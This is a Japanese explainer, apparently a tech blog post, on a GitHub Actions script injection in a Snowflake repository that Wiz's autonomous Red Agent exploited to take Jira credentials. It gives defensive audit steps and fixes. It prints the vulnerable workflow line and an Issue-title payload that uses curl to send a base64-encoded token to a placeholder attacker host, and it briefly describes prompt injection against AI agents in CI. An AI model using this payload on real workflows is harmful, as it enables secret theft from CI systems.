AIコーディング2026年11月更新

GitHub CopilotのAIレビューをすり抜けた脆弱性でSnowflake社内Jira侵害|Wiz Red Agentの自律攻撃と対策【2026年11月】

公開日: 2026/08/18
更新日: 2026/11/08
GitHub CopilotのAIレビューをすり抜けた脆弱性でSnowflake社内Jira侵害|Wiz Red Agentの自律攻撃と対策【2026年11月】

この記事のポイント

SnowflakeのGitHub Actionsに残ったスクリプトインジェクションを、Wizの自律型攻撃AI「Red Agent」が人の手を借りずに悪用し、社内Jiraの認証情報を持ち出した事案を解説します。Copilot関与の論争、2026年11月時点のその後(CodeQL 2.26.4・ワークフロー実行保護)、自社リポジトリの点検手順と費用までまとめました。

2026年6月、Snowflakeの公開リポジトリにあったGitHub Actionsの設定不備を、クラウドセキュリティ企業Wizの自律型攻撃AI「Wiz Red Agent」が人の手を借りずに見つけ、そのまま悪用して社内Jiraの認証情報を持ち出しました。「GitHub Copilotがその脆弱性を作った」という初報はGitHubが否定しており、確かなのはGitHub Advanced Securityのスキャンがこの穴を指摘しなかった(Wizの説明)ところまでです。Copilotがレビューに関わったかどうかも、WizとGitHubの説明が食い違っています。

この記事でわかることは次の通りです。

  • 何が起きたのか(タイムラインと被害範囲)
  • なぜIssueのタイトルを書くだけでコマンドが実行できたのか(技術解説)
  • 「Copilotが原因」論争で、Wiz・GitHub・コミット履歴がそれぞれ何を示しているか
  • 本来は検出できるはずの形なのに、なぜ自動検知をすり抜けたのか
  • 2026年11月時点のその後(Snowflakeの現在のファイル、CodeQL 2.26.4、ワークフロー実行保護のGA)
  • 自社のリポジトリに同じ穴がないか点検する手順・コマンドと費用

OSSを公開している企業の開発者・SRE・セキュリティ担当者と、AIコーディング支援ツールを組織で使っている、または導入を検討している方に向けた内容です。

確実に言えること・まだ確定していないこと

英語圏のメディアでは「AIがコードを壊し、別のAIがそれを突いた」という見出しが出ましたが、その後いくつもの訂正が入りました。確定した事実と、主張が割れている点は分けて読む必要があります。

論点

状態

内容

脆弱性は実在したか

確定

snowflakedb/snowflake-connector-net のワークフローにスクリプトインジェクションがあった

悪用は成立したか

確定

Wiz Red Agentが自律的に悪用し、Jiraの認証情報を取得。Snowflakeの社内Jiraを読めることまで確かめた

自動スキャンは指摘したか

確定(指摘しなかった)

Wizによれば、GitHub Advanced Securityのスキャンは該当ファイルを解析対象に含めていたが、インジェクションを指摘しなかった

Copilotはレビューに関わったか

主張が食い違う

Wizは「Copilotが確認して問題なしと判定した」、GitHubは「Copilotはレビューしていない」と説明

Copilotが脆弱性を作ったか

否定寄り

GitHubは「変更は人間が書いたもの」と説明。コミット履歴の外部検証でも、Copilotが該当行を書いた証拠は見つかっていない

顧客データは漏れたか

漏れていない

アクセスされたのは社内Jiraの読み取りのみ。Snowflakeは「不正アクセスの証拠はなかった」と説明

実際の攻撃者に悪用されたか

確認されていない

Snowflakeの監査ログ上、露出期間中の異常なアクセスはすべてWizのテストIPと一致

CVE番号

未採番

2026年11月8日時点で採番情報は見つからない

この事案から引き出すべき教訓は「Copilotが危険」ではありません。AIによるレビューや自動スキャンの「問題なし」を、最後の守りにしてはいけないという運用の話です。

何が起きたのか|Snowflake公開リポジトリ侵害の全体像

Snowflakeの公開リポジトリで発生したGitHub Actions設定不備による侵害の概要

出典: Snowflake公式サイト

2026年6月18日から23日までの5日間、Snowflakeの公開リポジトリ snowflakedb/snowflake-connector-net は、GitHubアカウントさえあれば誰でも、細工したタイトルのIssueを立てるだけでCIランナー上で任意のコマンドを実行できる状態でした。

問題があったのは .github/workflows/jira_issue.yml です。GitHubにIssueが立つと、自動で社内Jiraにチケットを起票するワークフローです。このワークフローはJira連携用のシークレット(JIRA_API_TOKEN / JIRA_USER_EMAIL / JIRA_BASE_URL)を持っていたため、コマンドを実行できた時点で認証情報も持ち出せる構造でした。

押さえておきたいのは、配布されているライブラリ本体の脆弱性ではないという点です。影響を受けるコネクタのリリースバージョンは特定されておらず、問題はCI/CDの設定側にありました。snowflake-connector-netを使っているアプリケーションが直接危険にさらされたわけではありません。

タイムライン

日付

出来事

2025年7月

GitHubが公式ガイドで、run: 内に信頼できない入力を直接展開するパターンを避けるよう警告

2025年8月25日

jira_issue.yml を危険な形に書き換えるコミットが作られる(Wiz・報道によれば作者は人間のエンジニア)

2026年6月18日

PR #1218 がスカッシュマージされ、脆弱な形がデフォルトブランチに入る

2026年6月23日

Wiz Red Agentが検知し、自律的に悪用。WizがHackerOne経由でSnowflakeへ報告(report #3819931)。同日、Snowflakeが修正(PR #1402)

2026年6月24日

Jiraトークンをローテーション

2026年7月16日

jira_issue.yml を再修正(PR #1414。Issueへのコメント処理の手直し)

2026年7月25日

公開猶予の期限

2026年8月17日

Wizが技術詳細ブログを公開。The Register・Forbes・The Hacker Newsなどが報道。同日、WizがCopilotの役割について記述を更新

2026年9月15日

@ITが日本語で詳しく報道

デフォルトブランチに入ってから発見・悪用されるまで、わずか5日でした。この短さが、セキュリティ業界でこの事案が注目された一番の理由です。

技術解説|なぜIssueのタイトルだけでコマンドが実行できたのか

GitHub Actionsのテンプレート展開順序とスクリプトインジェクションの技術解説

出典: GitHub Docs - Security hardening for GitHub Actions

原因は、GitHub Actionsが ${{ }} 式をいつ展開するかにあります。${{ }} はシェルが起動する前に、スクリプトの文字列へそのまま埋め込まれます。そのため、攻撃者が入れた文字列が「データ」ではなく「スクリプトの一部」として扱われてしまいます。

脆弱だったコード

Wizが公開した該当行は次の通りです(現在は修正済み)。

run: TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\\"/g' | sed "s/'/\\\'/g")

sed でクォートをエスケープしているので、一見すると対策済みに見えます。しかし sed が動くのはシェルが起動した後で、${{ github.event.issue.title }} の展開はその前に終わっています。Issueのタイトルにシングルクォートを1つ入れるだけで echo '...' の文字列から抜け出し、その後ろに任意のシェルコマンドをつなげられました。

エスケープ処理が書いてあること自体が「もう対策してある」という印象を与え、レビューで読み流されやすくなった面もあると考えられます。

二重の設計ミス|if: ガードが常に真だった

このワークフローには実行条件のガードも付いていましたが、働いていませんでした。

if: (github.event_name == 'issues' && github.event.pull_request.user.login != 'whitesource-for-github-com[bot]')

issuesイベントでは github.event.pull_request は存在せず、値はnullになります。nullと特定のBot名を比べた結果は常に「等しくない」なので、条件は常に真です。「特定のBotは除外する」つもりで書いたガードが、実際にはすべてのGitHubユーザーに実行を許していたことになります。

安全側ではなく危険側に倒れる、いわゆるフェイルオープンの典型例です。存在しないプロパティがエラーにならずnullになる仕様については、Hacker News(掲示板)の議論でもGitHub Actions自体の設計課題として批判が出ました。

Red Agentの攻撃の流れ|一度失敗して、自分で直した

Wizのブログで目を引くのは、AIが一度失敗し、エラーを読んで自分で直した点です。

  1. 最初のペイロードは # 以降をコメントにする方式だったが、TITLE=$(...) の閉じ括弧まで無効になり、bashの構文エラーで失敗
  2. エージェントがエラー出力を読み、; echo ' でシェルの文字列を正しく閉じ直す形に書き換え
  3. 成功。秘密情報をbase64にして外部へ送信

使われたペイロードは次のような構造でした(送信先は伏せています)。

' ; curl -s "https://<攻撃者の送信先>?t=`printf %s $JIRA_API_TOKEN|base64 -w0`" ; echo '

取得したトークンで snowflakecomputing.atlassian.net に認証でき、Wizはエンジニアリング・セキュリティコンプライアンス・バグバウンティ管理の各Jiraプロジェクトを読めることをスクリーンショットで示しています。理屈の上の指摘ではなく、実際に被害が出るところまで確かめたことがこの報告の重みです。

修正後のコード

Snowflakeが同日に入れた修正は、GitHub公式が推奨する環境変数を経由させる書き方でした。

env:
  ISSUE_TITLE: ${{ github.event.issue.title }}
run: jq -n --arg title "$ISSUE_TITLE" ...

いったん env: に入れてから "$ISSUE_TITLE" として参照すれば、値はシェルにとって「データ」になり、コードとして解釈されません。Wizによれば、この安全な書き方はもともとこのリポジトリにあり、書き換えの過程で失われていました。

AIコーディング支援全般のリスクは「AIコーディングのセキュリティリスク」で整理しています。

「Copilotが脆弱性を作った」のか|三者の主張を整理

GitHub Copilotが脆弱性を作ったのかをめぐるWiz・GitHub・コミット履歴の主張整理

出典: GitHub Copilot公式ページ

この事案でいちばん慎重に扱うべき論点です。当事者の説明が食い違っており、初報から表現も変わっています。

主体

主張

Wiz(初報)

Copilot Autofixが共著者になったコミットで、もともとあった安全な書き方が消え、直接展開に置き換わった

Wiz(8月17日の更新後)

Copilotは共著者として、マージされたPRとコード変更を確認し「問題なし」と判定した。コード変更がAI支援だったかは不明。記録上、Copilot Autofixが寄与したのは同じPR内の jira_close.yml の別の修正

GitHub

社内調査の結果、脆弱性につながった変更は人間が書いたもので、Copilotはレビューも寄与もしていない(報道による要旨)

The Hacker News

履歴からCopilotがPRに参加したことは言えるが、脆弱な行を書いたとは言えない

The Register

見出しを「AIが壊した」から「AIが見落とした」に変え、訂正を追記

コミット履歴から読み取れること

GitHub APIでPR #1218のマージコミット(4a1b8ce)を確認すると、共著者として人間のエンジニア2名と「Copilot Autofix powered by AI」が並んでいます。変更ファイルは jira_close.yml と jira_issue.yml の2つです。

ただし、このPRはスカッシュマージでした。スカッシュマージでは、PR内の複数のコミットが1つにまとめられ、それぞれのコミットの共著者がまとめて載ります。つまり、jira_issue.yml の脆弱な行をCopilotが書いたとは、このコミットからは言えません。「AIが共著者」という表示が誤解を広げた点は、「VS Code 1.118 Copilot「共著者」自動追加の問題」の議論とも重なります。

この記事としての整理

  • 「Copilotが脆弱性を作った」と言える証拠は、現時点で公開されていません。 GitHubは否定しており、コミット履歴もそれと矛盾しません。
  • 「Copilotがレビューで見逃した」も確定ではありません。 Wizは「Copilotが確認して問題なしと判定した」と書き、GitHubは「Copilotはレビューしていない」と説明しています。両方が同時に正しいことはありません。
  • 確かなのは、Wizの説明にあるGitHub Advanced Securityのスキャンが該当ファイルを解析しながら、インジェクションを指摘しなかったことです。GitHubはこのパターンを2025年7月の時点で公式に警告していたので、既知の危険な書き方が自動チェックをすり抜けたことになります。

Hacker News(掲示板)では「AI以前からあるレビュー体制の失敗で、AI固有の問題ではない」という指摘も多く出ました。もっともな見方です。ただ、AI支援でコミット量が増え、レビューの負荷が上がっている現場では、同じ種類の見落としは起きやすくなります。

Wiz Red Agentとは|攻撃側AIの現状

自律型攻撃AI「Wiz Red Agent」を開発したクラウドセキュリティ企業Wiz

出典: Wiz公式サイト

Wiz Red Agentは、Wizが提供する自律的・継続的な攻撃テストのAIです。決まった手順の攻撃を流すスキャナと違い、アプリケーションの業務ロジックを推論しながら攻め方を変えます。対象は自社開発のソフトやAPI、バイブコーディングで作ったアプリなどで、OWASP API Top 10、ロジックの欠陥、認可の回避を探します。

項目

内容

提供元

Wiz(Googleが2025年に約320億ドルでの買収を発表)

発表

2026年3月(RSA Conference)

パブリックプレビュー

2026年4月

一般提供(GA)

2026年7月29日

料金

公開価格なし(デモ申込からの個別見積もり)

本件で使ったモデル

公表なし

3つのモジュール

  1. Web API Crawler:クライアント側のコードを解析し、把握されていないAPI(シャドーAPI)を見つける
  2. API DAST Attacker:ロジックに起因する脆弱性を動的に検査し、実行の証拠と再現手順を出す
  3. Secrets Blast Radius:公開サイト・API・リポジトリで露出したシークレットが有効か、どこまで届くかを外部SaaSのAPIで確かめる(今回のJiraアクセスの確認はこれに近い動き)

GAの告知にはCI/CDのスキャンは明記されていません。今回のSnowflakeのGitHub組織をスキャンしたのは、Wizによれば「CI/CD向けの機能」です。

プレビュー期間の実績(Wiz発表値)

  • 検証済みの悪用可能な重大リスクを1万件以上検出(多くは外部公開・認証なし)
  • 有効化した組織の70%が、把握していなかったHigh/Criticalの脆弱性を発見
  • 35%が有効化から1時間以内に最初のCriticalを確認
  • ピーク時に1日35万の資産をスキャンし、4,800億トークンを処理

Wizのオフェンシブセキュリティ責任者Gal Nagli氏は「我々のAIが自律的に発見し、悪用した。人間が介入する必要はなかった」と述べています。攻撃側AIの能力向上については「GPT-5.5-Cyberとは」でも扱っています。

Wizが本件で強調したのは「発見までの時間が一気に縮んだ」ことです。これまでは、脆弱性が入ってから見つかって悪用されるまでに、ある程度の猶予があると考えられていました。自動の発見が数時間〜数日で起きるなら、その前提はもう通用しません。

なぜGitHubの自動検知はすり抜けたのか|検出できるはずの形だった

GitHub Advanced SecurityのCodeQL・Copilot Autofixが持つ検知上の制約

出典: GitHub Advanced Security公式ページ

今回の形は、本来CodeQLで検出できるパターンです。CodeQLにはGitHub Actionsのワークフロー用の組み込みクエリがあり、Code injection (critical)(CWE-94/95/116)は既定のクエリスイートに入っています。それでもWizによれば今回は指摘されませんでした。理由はGitHubもSnowflakeも公表しておらず、Snowflake側でActionsの解析が有効だったか、どのCodeQLのバージョンだったかもわかっていません。

Copilot Autofixは「アラートが出た後」の機能

Copilot Autofixは、CodeQLが出したアラートに対してLLMで修正案を作り、PRに提示する機能です。CodeQLがアラートを出さなければ、Autofixは何もしません。検出の穴は、そのまま修正の穴になります。

GitHubは公式ドキュメント「Responsible use of Copilot Autofix for code scanning」で、次の制約を挙げています。

公式が挙げている制約

実務での意味

非決定的:同じアラートでも提案が出ないことがあり、毎回内容が変わりうる

「1回大丈夫だった」は保証にならない

誤った提案:構文・位置・意味の誤りがありうる。開発者の意図は理解しない

提案は人が読んでから取り込む

根本を直さない・新しい脆弱性を入れることがある

修正後も再スキャンが要る

部分的な修正にとどまることがある

アラートが消えても原因が残る場合がある

複数ファイルにまたがるデータの流れや微妙なロジックの欠陥は苦手

ワークフローと実行環境をまたぐ問題は不得意

大きなファイル・リポジトリでは文脈が切り詰められ、修正を試みないことがある

大規模リポジトリほど取りこぼしが増える

存在しないパッケージを提案しうる

サプライチェーンのリスクになる

英語以外のコード・コメントでは成功率が下がる

日本語コメントの多いリポジトリは要注意

Copilotコードレビューも「すべては見つけない」と明記

Copilotのコードレビュー機能についても、GitHubの公式ドキュメントは「すべての問題を見つけるとは限らない。とくに大きく複雑な変更」「人による丁寧なレビューで補うべき」と書いています。セキュリティ脆弱性の検出を目的とした機能だとも書かれていません。AIレビューの「問題なし」は、確率的な判定の一つにすぎないという前提を、組織で共有しておく必要があります。

ルールベースの検査とAIの検出の役割の違い

種類

代表例

結果の再現性

マージを止められるか

向いている使い方

ルールベースの静的解析

CodeQLの既定スイート、zizmor、actionlint

同じ入力なら同じ結果

必須チェックにすれば止められる

既知の危険パターンを確実に弾く

AIによる検出

PR上のAIセキュリティ検出(プレビュー)、/security-review

毎回変わりうる

PR上のAI検出は情報表示のみでブロックしない

ルールで拾えない言語・観点の補助

AIによる修正案

Copilot Autofix、Agentic autofix

毎回変わりうる

修正の提案のみ

アラート対応の手間を減らす

人のレビュー

CODEOWNERSで指定した担当者

担当者による

承認必須にすれば止められる

意図・設計・削除された行の確認

今回のような既知の危険パターンは、ルールベースの検査を必須チェックにして確実に止めるのが筋です。AIの検出やAIレビューは、その上に重ねる補助と考えてください。

Copilotの機能や料金そのものは「GitHub Copilotとは」で整理しています。

その後どうなったか|2026年11月時点の状況

事案の公表から約3か月がたち、GitHub側でいくつか関係する変更が入りました。SnowflakeとGitHubから追加の公式発表は見つかっておらず、CVEも採番されていません。

Snowflakeの現在のワークフロー

2026年11月8日時点の jira_issue.yml では、Issueのタイトルは env: 経由で渡され、jq --arg でJSONを組み立てる安全な形になっています。ジョブの権限も issues: write だけです。

一方で、if: の条件は今も github.event_name == 'issues' && github.event.pull_request.user.login != 'whitesource-for-github-com[bot]' のままで、ガードとしては働いていません。入力を安全に扱っているので、ガードが効かなくても同じ被害は出にくい状態です。とはいえ「ガードがあるから大丈夫」と読めてしまう書き方が残っている点は、自社のワークフローを見直すときの参考になります。

GitHub側で変わったこと

日付

変更

自社への影響

2026年7月14日

PR上のAIセキュリティ検出(パブリックプレビュー)と、Copilotアプリの /security-review(パブリックプレビュー)

どちらも補助的な機能。PR上のAI検出はマージを止めない

2026年9月3日

CodeQL 2.26.4:github.event.pull_request.user.login のような実行者チェックを、そのフィールドを実際に持つイベントのときだけ保護として数えるよう修正

今回の if: と同じ形のガードがあるワークフローで、新しいアラートが出る可能性がある

2026年9月17日

ワークフロー実行保護(Workflow execution protections)がGA。誰が(actor rules)・どのイベントで(event rules)ワークフローを起動できるかを許可リストで決められる。評価モード・REST APIにも対応

Actionsの設定画面の「Policies」から、Enterprise・Organization・リポジトリ単位で設定できる

2026年12月2日(予定)

公開リポジトリで該当するイベントポリシーがない場合、pull_request_target を無効にする既定ルールを強制(現在は評価モード)

pull_request_target を使っている公開リポジトリは動作確認が必要

GitHubは、CodeQL 2.26.4の修正とSnowflakeの事案の関係には触れていません。ただ、修正内容は今回の if: ガードと同じ形を扱っています。CodeQLを更新した後にActions関連のアラートが急に増えたら、if: の書き方を確認してください。

注意したいのは、pull_request_target の既定ブロックでは今回の経路は防げないことです。今回の入口は issues イベント(Issueを開くだけ)で、既定ルールの対象外です。Issueやコメントで起動するワークフローを絞るには、event rules・actor rulesを自分で設定する必要があります。

AI生成コードのセキュリティ実態|これは単発の事故ではない

今回の事案を珍しい事故として片付けられないのは、AI支援開発をめぐる調査の傾向と合っているためです。

Veracode「GenAI Code Security」秋版(2026年10月29日公開)

18モデル・4言語(Python / C# / JavaScript / Java)・4種類の脆弱性(CWE)で、AIが書いたコードの安全性を測った調査です。

指標

秋版(2026年10月)

夏版(2026年7月)

セキュリティ合格率(平均)

62%

56%

脆弱性を含んだ割合

約38%

約44%

最高スコア

Claude Opus 5.5 と GPT-6-Sol の73%

GPT-5.5の68%

最低スコア

Amazon Nova 2 Liteの44%

—

SQLインジェクションの合格率

83.7%

83%

暗号アルゴリズムの合格率

87.4%

87%

XSSの合格率

18%

15%

ログインジェクションの合格率

12.6%

12%

汎用モデル / コーディング特化モデル

54% / 51%

52% / 51%

平均は上がりましたが、Veracodeは「改善は本物だが偏りがある」とまとめています。SQLインジェクションや暗号は8割台なのに、XSSは2割未満、ログインジェクションはほぼ横ばいです。文脈やデータの流れに左右される脆弱性は、モデルが新しくなってもあまり改善していません。コーディング特化モデルが汎用モデルより安全というわけでもありません。

今回のスクリプトインジェクション(CWE-78/94)はこの調査の4種類に入っていません。ただ、「どこから来た値が、どこでコードとして解釈されるか」というデータの流れの問題なので、同じ傾向が当てはまる可能性はあります。Veracodeは「安いモデル+セキュリティスキャン」のほうが「最先端モデル単体」より良い結果になりうるとも指摘しています。

Apiiroのエンタープライズ調査(2024年12月〜2025年6月)

Fortune 50企業の数万リポジトリを対象にした、やや古い調査です(数値はApiiroの発表値)。

指標

変化

AI支援開発者のコミット量

AIを使わない開発者の3〜4倍

月あたりのセキュリティ検出件数

約1,000件 → 1万件超

権限昇格の経路

+322%

設計上の欠陥

+153%

単純な構文エラー

減少

浅いバグは減り、深い欠陥は増えるという傾向です。Snowflakeのケースもこの形で、sed によるエスケープという表面的な対策は残っているのに、展開の順序という構造的な欠陥が入り込みました。

レビューを省いてAI生成コードをマージする開発スタイルのリスクは「バイブコーディングとは」でも整理しています。

自分のリポジトリを点検する手順

同じ穴が自社にないかは、数分から確認を始められます。GitHub Actionsを使っている組織は、次の順で進めてください。

手順1|危険なテンプレート展開を検索する

ローカルにクローンしたリポジトリで、run: の中にコンテキスト式が直接書かれていないか探します。

grep -rn '\${{ *github\.event\.' .github/workflows/
grep -rn '\${{ *github\.head_ref' .github/workflows/

ヒットした行のうち、run: ブロックの中にあるもの、run: に渡す文字列を組み立てているものが要注意です。env: での代入はこの段階では問題ありません。

手順2|信頼できない入力かどうかを見分ける

攻撃者が値を自由に書けるコンテキストは限られています。代表例は次の通りです。

分類

プロパティ

誰が書けるか

Issue

github.event.issue.title / github.event.issue.body

誰でも(公開リポジトリの場合)

Pull Request

github.event.pull_request.title / .body

誰でも(フォークからのPRを含む)

コメント

github.event.comment.body / github.event.review.body

誰でも

ブランチ名

github.head_ref

PRの作成者

Wikiのページ名

github.event.pages.*.page_name

編集権限のあるユーザー

コミット

github.event.head_commit.message / .author.email

プッシュした人

これらを run: に直接展開していれば、公開リポジトリなら第三者が、非公開リポジトリでも組織内の誰かが任意のコマンドを実行できる可能性があります。

手順3|危険な書き方を安全な書き方に直す

# 危険:値がシェルスクリプトの一部として展開される
- run: echo "Issue title: ${{ github.event.issue.title }}"

# 安全:値は環境変数(データ)として渡る
- env:
    ISSUE_TITLE: ${{ github.event.issue.title }}
  run: echo "Issue title: $ISSUE_TITLE"

GitHub公式がもっとも勧めているのは、インラインスクリプトを使わず、JavaScriptアクションに値を引数として渡す方法です。値がスクリプトの生成に関わらないので、インジェクションが成り立ちません。

手順4|if: ガードが働いているか確かめる

if: の条件で、そのイベントには存在しないプロパティを見ていないか確認します。issues イベントで github.event.pull_request.* を見る、push イベントで github.event.issue.* を見る、といった組み合わせは常に真か常に偽になります。条件を変えたら、実際にイベントを起こして意図どおり弾かれるか試してください。CodeQLを2.26.4以降に上げると、この形が新しくアラートになることがあります。

手順5|静的解析ツールを必須チェックにする

静的解析ツールのほうがgrepよりも確実です。zizmorとactionlintはOSSで無料です。

ツール

位置づけ

特徴

zizmor(最新 v1.32.0、2026年11月2日)

GitHub Actions専用のセキュリティ静的解析

テンプレートインジェクション、過剰な権限、ピン留めされていないアクション、信頼できない入力の危険な使い方を検出。今回のパターンは検出対象

actionlint(最新 v1.7.12)

ワークフローの正しさを見るリンター

shellcheckと連携できる。zizmorとの併用がよく勧められる

CodeQL(Actions用クエリ)

GitHubのコードスキャン

Code injection (critical) が既定スイートに入っている。公開リポジトリは無料。Wizによれば今回は指摘されなかった

# zizmor(uvで実行)
uvx zizmor .github/workflows/

# actionlint(Homebrewの場合)
brew install actionlint && actionlint

CIに組み込み、Pull Requestの必須チェックにしておくのがもっとも効果的です。

手順6|ワークフローを起動できる人・イベントを絞る

Actionsの設定画面の「Policies」で、ワークフロー実行保護のevent rules・actor rulesを設定します。まず評価モードで始めると、実際には止めずに「ブロック対象になる実行」だけを確認できます。公開リポジトリでIssueやコメントをきっかけに社内SaaSへ連携しているなら、起動できるイベントと実行者をここで絞っておくと、ワークフローの中身に穴があっても入口で止められます。

GitHub ActionsにAIツールを組み込む運用は「Claude CodeとGitHub Actionsの連携」も参考になります。

組織として取るべき対策|AIレビューを最後の守りにしない

リポジトリごとの修正に加えて、運用ルールで押さえるべき点をまとめます。

1. GITHUB_TOKENとシークレットを最小権限にする

ワークフロー全体にJiraトークンを渡すのではなく、必要なジョブ・必要なステップにだけ渡します。今回はワークフローがJiraの認証情報を持っていたため、コマンドを実行された時点でそのまま持ち出されました。permissions: もワークフローやジョブごとに明示しておきます。

シークレットをJSONやYAMLでまとめて1つの変数に入れるのも避けてください。GitHubのマスキングは値単位でしか効かないので、ログに平文で出ることがあります。

2. 短命の認証情報とOIDCに移す

長期間有効なAPIトークンをシークレットに置く構成は、一度漏れると失効させるまでずっと使えます。対応しているサービスはOIDCで一時的な認証情報を発行する形に移し、静的なトークンを減らします。発見までの時間がここまで縮んだ以上、漏らさない設計に加えて、漏れてもすぐ無効になる設計が現実的です。

3. pull_request_target / workflow_run の扱いを見直す

この2つのイベントは特権のある状態で動くため、信頼できないコードのチェックアウトと組み合わさると被害が大きくなります。フォークからのPRで秘密情報を扱う必要があるなら、ジョブを分けてください。公開リポジトリでは2026年12月2日から pull_request_target が既定で無効になるので、使っている場合は評価モードの結果を確認しておきましょう。

4. AI生成のPRも人のPRと同じ基準で審査する

Wizは提言として、AIが生成したPRにも人のコードと同じ静的解析とセキュリティレビューを通すよう求めています。AIのコーディングツールは確率的にコードを組み立てるため、古い・安全でないシェルの書き方を意図せず持ち込むことがあります。「AIが書いたから」「AIレビューが通ったから」で承認しない運用が必要です。

具体的には次のルールが有効です。

  • .github/ 配下の変更は、CODEOWNERSで指定した人のセキュリティレビューを必須にする
  • AIレビューの結果は一次スクリーニングとして扱い、承認の根拠にしない
  • 書き換え(リファクタ)のPRでは、削除された行を重点的に見る(今回は安全な書き方が書き換えで消えた)

5. AIエージェントをCIに入れるときは入口を警戒する

2026年は、AIエージェントをGitHub Actionsに組み込んだワークフローへの攻撃も目立ちました。Issueのタイトルに仕込んだプロンプトインジェクションでトリアージ用のAIを操り、npmの公開トークンを盗んだとされるClineの事件(2月)などが報じられています。AIを使うActions 1,033件を調べた論文では、呼び出し元の確認を明示していたのは21件でした。

今回の事案はプロンプトインジェクションではなく昔ながらのスクリプトインジェクションです。ただ、「誰でも書けるIssue・PR・コメントが、特権のある処理に流れ込む」という構造は同じです。AIエージェントが外部の文章に操られる例は「Claude Code Auto Modeが間接プロンプトインジェクションで突破された件」で詳しく扱っています。

6. 監査ログとローテーションの手順を用意しておく

Snowflakeが「不正アクセスの証拠なし」と早く言えたのは、監査ログで露出期間中のアクセス元を追えたためです(ログの原本は非公開で、外部からの独立した検証はできていません)。インシデントが起きたとき「誰がいつアクセスしたか」をすぐ出せるかどうかで、影響範囲を確定するまでの速さが決まります。

今回のJira連携のように、AIで作った試作や社内ツールを実データや既存の業務システムにつなぐ段階では、認証情報の置き場所、権限の範囲、監査ログ、障害時の切り戻しまで決めておく必要があります。何をどの順で整えるかは「バイブコーディング・Lovableで作ったアプリを本番運用するには」にまとめています。

自律エージェントの権限設計全般は「AIエージェントのセキュリティ対策」で整理しています。

導入コストの目安|無料で始められる部分と有償製品

対策の費用は、無料で始められる部分と有償製品に分かれます(2026年11月8日時点の公式ページ)。

手段

費用

主な内容

zizmor / actionlint

無料(OSS)

GitHub Actionsワークフローの静的解析。今回のパターンを検出できる

GitHubの公開リポジトリ向け機能

無料

CodeQL、Copilot Autofix、push protection

GitHub Secret Protection

$19 / active committer / 月

push protection、履歴・PR・Issueを含むシークレットスキャン、有効性チェック、AIによる非定型シークレットの検出

GitHub Code Security

$30 / active committer / 月

CodeQL、Copilot Autofix、PR上のAI検出、Agentic autofix、依存関係レビュー、Dependabot など

Wiz Red Agent

公開価格なし

自律的な攻撃検証。デモ申込から個別見積もり

Secret ProtectionとCode Securityを両方使う場合は$19+$30です。課金単位のactive committerは、対象リポジトリにプッシュした開発者の数で、表の金額はリスト価格です。契約形態によって変わります。

新しく気をつけたいのがAIクレジットです。PR上のAI検出、Agentic autofix、AIによるシークレット検出などのAI系機能は、AIクレジットを消費すると公式ページに書かれています。GitHub Advanced Security側の単価や付与量は、このページでは確認できませんでした。

GitHub Copilot本体も、プランごとに毎月AIクレジット(1クレジット=$0.01)が付く課金に変わっています。

Copilotのプラン

月額

月のAIクレジット

Free

無料

少量

Pro

$10

1,500

Pro+

$39

7,000

Max

$100

20,000

Business

$19 / ユーザー

1,900 / ユーザー

Enterprise

$39 / ユーザー

3,900 / ユーザー

費用の面では、zizmor・actionlintとCodeQLの既定セットアップ(無料)→ 必須チェック化 → Policiesで入口を絞る → 有償製品の追加という順が合理的です。今回の穴は、無料のzizmorで検出できる形でした。

こんな組織は特に注意したい

次に当てはまる場合は、同じ種類のリスクを抱えている可能性が高いので、優先して点検してください。

  • 公開リポジトリでGitHub Actionsを使っている:誰でもIssueやPRを作れるので、攻撃の入口が最も広い
  • IssueやPRをきっかけに社内SaaS(Jira / Slack / Notion / 社内API)へ連携している:連携用の認証情報がワークフローに置かれていることが多い
  • AIコーディング支援を組織で導入したのに、レビュー体制を変えていない:コミット量が増えてレビューの人数が同じなら、見落としは増える
  • .github/ 配下の変更にレビュー必須ルールがない:アプリのコードは厳しく見ていても、ワークフローだけ緩い組織は多い
  • 長期間有効なAPIトークンをGitHub Secretsに置いている:一度漏れると失効させるまで使われ続ける
  • 書き換えのPRを「機能は変わらない」として軽く承認している:今回は書き換えで安全な書き方が消えた
  • AIエージェントをCIに組み込み、Issueやコメントを入力にしている:プロンプトインジェクションの入口にもなる

過度に心配しなくてよいケース

一方で、今回の報道を見て必要以上に不安になる必要のない立場もあります。

  • snowflake-connector-netを使っているだけのアプリ開発者:ライブラリ本体ではなく、Snowflake側のCI/CD設定の問題です。特定バージョンを避ける必要はなく、CVEも採番されていません
  • Snowflakeをデータ基盤として使っている企業:アクセスされたのはSnowflakeの社内Jiraの読み取りだけで、顧客データは対象外です
  • GitHub Copilotを個人で使い、生成コードを自分で確認している開発者:この事案がそのまま個人利用のリスクになるわけではありません
  • Actionsで外部入力を扱っていないリポジトリ:schedule や workflow_dispatch だけで動き、Issue・PR・コメントをきっかけにしていなければ、今回の経路は成り立ちません

よくある質問

Q. GitHub Copilotを使うと脆弱性が入りやすくなりますか?

Copilot固有の問題だと言えるデータはありません。Veracodeの2026年秋の調査では、モデルをまたいで平均約38%のコード生成で脆弱性が入っており、ツールを問わない傾向です。大事なのは使うかどうかより、生成されたコードを人と静的解析の両方で確認する仕組みがあるかです。

Q. Snowflakeの顧客データは漏れましたか?

漏れていません。Wizがアクセスしたのは社内Jiraの読み取りだけで、Wizは取得したデータを削除したと説明しています。Snowflakeも「不正アクセスの証拠はなかった」としています。

Q. CVE番号は割り当てられていますか?

2026年11月8日時点で採番情報は見つかりません。配布されるライブラリではなくCI/CD設定の問題で、影響を受けるリリースバージョンもないためと考えられます。

Q. 非公開リポジトリなら安全ですか?

入口は狭くなりますが、安全とは言えません。組織のメンバーや外部の協力者がIssueを作れるなら、同じ経路で、本来その人が持たないシークレットに手が届く可能性があります。

Q. 2026年12月の pull_request_target 既定ブロックで、今回の攻撃は防げますか?

防げません。既定ルールの対象は公開リポジトリの pull_request_target だけで、今回の入口だった issues イベントは含まれません。Issueやコメントで起動するワークフローは、Policiesのevent rules・actor rulesで自分で絞る必要があります。

Q. AIによるコードレビューはやめるべきですか?

やめる必要はありません。人が見落とす定型的な問題をまとめて拾えるのは大きな利点です。問題は「AIが問題なしと言ったから安全」とする運用です。GitHub自身が非決定性や見落としの可能性を明記しているので、AIレビューは一次スクリーニングとして使い、既知の危険パターンはルールベースの検査で止めてください。

Q. Wiz Red Agentのような自律攻撃AIは誰でも使えるのですか?

